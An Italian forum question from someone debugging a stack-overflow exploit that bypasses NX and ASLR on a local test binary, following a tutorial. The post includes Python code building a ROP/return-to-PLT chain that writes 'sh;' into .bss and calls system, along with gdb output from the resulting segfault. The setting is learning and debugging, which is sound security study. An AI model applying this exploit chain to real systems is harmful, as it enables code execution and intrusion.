Ho un problema, mentre faccio il bypass NX + ASLR. Sto seguendo questo tutorial passo dopo passo .
Tutto sta andando bene, ho preparato il mio exploit, solo con un altro indirizzo e alcune piccole modifiche:
#!/usr/bin/python
from struct import pack
from os import system
junk = 'A'*1036 #junk to offset to stored ret
strcpy = pack("<L", 0x8048310)
ppr = pack("<L", 0x080484ee) #pop pop ret
p = junk
p += strcpy
p += ppr
p += pack("<L", 0x0804a024) #bss
p += pack("<L", 0x08048162) # 's'
p += strcpy
p += ppr
p += pack("<L", 0x0804a025) #bss+1
p += pack("<L", 0x080480d8) # 'h'
p += strcpy
p += ppr
p += pack("<L", 0x0804a026) #bss+2
p += pack("<L", 0x0804852f) # ';'
p += pack("<L", 0x08048320) #system@plt
p += "AAAA"
p += pack("<L", 0x0804a024) #bss (now contains "sh;<junk>")
system("/tmp/a.out \""+p+"\"")
Se lo eseguo, non succede nulla. Ma se modifico il passaggio con l'indirizzo di "system @ plt" con l'indirizzo di sistema da libc ottengo un errore di segmentazione.
p += pack("<L", 0xb7e4e104) #system from libc
p += "J" * 8 # sub esp,0xc
p += pack("<L", 0xdeadbeef) # exit
p += pack("<L", 0x0804a024) #bss (now contains "sh;<junk>")
system("/tmp/a.out \""+p+"\"")
./ exploit.py e .... "Errore di segmentazione". Ho attivato i dump di base per verificare cosa è successo e ho trovato questo:
Program received signal SIGSEGV, Segmentation fault. 0x0804a024 in completed ()
Questo indirizzo contiene:
(gdb) x/s 0x0804a024
0x804a024 : "sh;("
" sh; (" hm ...? Vorrei fare alcune domande.
- È la ragione " (", perché sto ricevendo un errore di segmentazione invece di shell?
- Come posso rimuoverlo / risolverlo? Ho provato cose diverse, ma senza risultati.
- Perché non utilizzare l'indirizzo di "system @ plt"? Più precisamente, non fa nulla. Tuttavia, nel tutorial di SpiderLabs tutto funziona?
So che ci sono più modi per aggirare ASLR + NX, ma sono curioso di sapere cosa sta andando storto.